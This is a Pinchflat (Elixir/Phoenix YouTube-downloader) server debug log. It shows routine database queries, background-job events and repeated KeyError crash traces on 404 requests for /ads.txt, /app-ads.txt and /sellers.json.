"_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://roku.hartupee.com/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://roku.hartupee.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 15:22:54.968 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "2rn6zDttAyn7W6zwi9dgebDz", "media_state" => "downloaded"} 15:22:54.969 [debug] QUERY OK source="media_items" db=0.2ms idle=392.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:54.969 [debug] QUERY OK source="media_items" db=0.4ms idle=30.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:54.969 [debug] QUERY OK source="sources" db=0.0ms idle=30.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:22:54.969 [debug] Replied in 1ms 15:22:54.970 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "2rn6zDttAyn7W6zwi9dgebDz", "media_state" => "pending"} 15:22:54.972 [debug] QUERY OK source="media_items" db=1.3ms idle=31.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:22:54.973 [debug] QUERY OK source="media_items" db=1.3ms idle=33.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:54.973 [debug] Replied in 3ms 15:22:55.134 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "2rn6zDttAyn7W6zwi9dgebDz"} 15:22:55.134 [debug] QUERY OK source="tasks" db=0.1ms idle=165.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:22:55.134 [debug] Replied in 424µs 15:22:57.024 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.668 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:23:04.011 [info] GET /ads.txt 15:23:04.011 [debug] QUERY OK source="settings" db=0.0ms idle=1073.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:04.012 [debug] QUERY OK source="settings" db=0.0ms idle=1073.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:04.012 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:04.013 [info] GET /app-ads.txt 15:23:04.013 [debug] QUERY OK source="settings" db=0.0ms idle=1074.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:04.013 [debug] QUERY OK source="settings" db=0.0ms idle=428.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:04.013 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:04.012 [error] #PID<0.9906.0> running PinchflatWeb.Endpoint (connection #PID<0.9905.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /ads.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ads (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9905.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ads.txt", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58596}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "no-cache", "connection" => "keep-alive", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "script", "sec-fetch-mode" => "no-cors", "sec-fetch-site" => "cross-site", "sec-gpc" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "51.158.248.228", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "51.158.248.228" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9906.0>, params: %{}, path_info: ["ads"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "no-cache"}, {"connection", "keep-alive"}, {"dnt", "1"}, {"host", "roku.hartupee.com"}, {"sec-fetch-dest", "script"}, {"sec-fetch-mode", "no-cors"}, {"sec-fetch-site", "cross-site"}, {"sec-gpc", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3"}, {"x-forwarded-for", "51.158.248.228"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "51.158.248.228"} ], request_path: "/ads.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDFNFDsaPcv-AAAepC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9905.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ads.txt", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58596}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "no-cache", "connection" => "keep-alive", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "script", "sec-fetch-mode" => "no-cors", "sec-fetch-site" => "cross-site", "sec-gpc" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "51.158.248.228", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "51.158.248.228" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ads (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9905.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ads.txt", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58596}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "no-cache", "connection" => "keep-alive", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "script", "sec-fetch-mode" => "no-cors", "sec-fetch-site" => "cross-site", "sec-gpc" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "51.158.248.228", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "51.158.248.228" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, ha (truncated) 15:23:04.014 [error] #PID<0.9908.0> running PinchflatWeb.Endpoint (connection #PID<0.9907.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /app-ads.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app-ads (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9907.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app-ads.txt", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58610}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "no-cache", "connection" => "keep-alive", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "script", "sec-fetch-mode" => "no-cors", "sec-fetch-site" => "cross-site", "sec-gpc" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "51.158.248.228", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "51.158.248.228" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9908.0>, params: %{}, path_info: ["app-ads"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "no-cache"}, {"connection", "keep-alive"}, {"dnt", "1"}, {"host", "roku.hartupee.com"}, {"sec-fetch-dest", "script"}, {"sec-fetch-mode", "no-cors"}, {"sec-fetch-site", "cross-site"}, {"sec-gpc", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3"}, {"x-forwarded-for", "51.158.248.228"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "51.158.248.228"} ], request_path: "/app-ads.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDFNFfcjmtgf8AAeqC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9907.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app-ads.txt", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58610}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "no-cache", "connection" => "keep-alive", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "script", "sec-fetch-mode" => "no-cors", "sec-fetch-site" => "cross-site", "sec-gpc" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "51.158.248.228", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "51.158.248.228" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app-ads (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9907.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app-ads.txt", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58610}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "no-cache", "connection" => "keep-alive", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "script", "sec-fetch-mode" => "no-cors", "sec-fetch-site" => "cross-site", "sec-gpc" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "51.158.248.228", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "51.158.248.228" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 15:23:04.016 [info] GET /sellers.json 15:23:04.016 [debug] QUERY OK source="settings" db=0.0ms idle=78.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:04.017 [debug] QUERY OK source="settings" db=0.0ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:04.017 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:04.017 [error] #PID<0.9910.0> running PinchflatWeb.Endpoint (connection #PID<0.9909.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sellers.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sellers (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9909.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sellers.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58626}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "no-cache", "connection" => "keep-alive", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "script", "sec-fetch-mode" => "no-cors", "sec-fetch-site" => "cross-site", "sec-gpc" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "51.158.248.228", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "51.158.248.228" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9910.0>, params: %{}, path_info: ["sellers"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "no-cache"}, {"connection", "keep-alive"}, {"dnt", "1"}, {"host", "roku.hartupee.com"}, {"sec-fetch-dest", "script"}, {"sec-fetch-mode", "no-cors"}, {"sec-fetch-site", "cross-site"}, {"sec-gpc", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3"}, {"x-forwarded-for", "51.158.248.228"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "51.158.248.228"} ], request_path: "/sellers.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDFNGSEMfqDu0AAerC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9909.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sellers.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58626}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "no-cache", "connection" => "keep-alive", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "script", "sec-fetch-mode" => "no-cors", "sec-fetch-site" => "cross-site", "sec-gpc" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "51.158.248.228", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "51.158.248.228" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sellers (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9909.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sellers.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58626}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "no-cache", "connection" => "keep-alive", "dnt" => "1", "host" => "roku.hartupee.com", "sec-fetch-dest" => "script", "sec-fetch-mode" => "no-cors", "sec-fetch-site" => "cross-site", "sec-gpc" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3", "x-forwarded-for" => "51.158.248.228", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "51.158.248.228" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 15:23:12.921 [info] 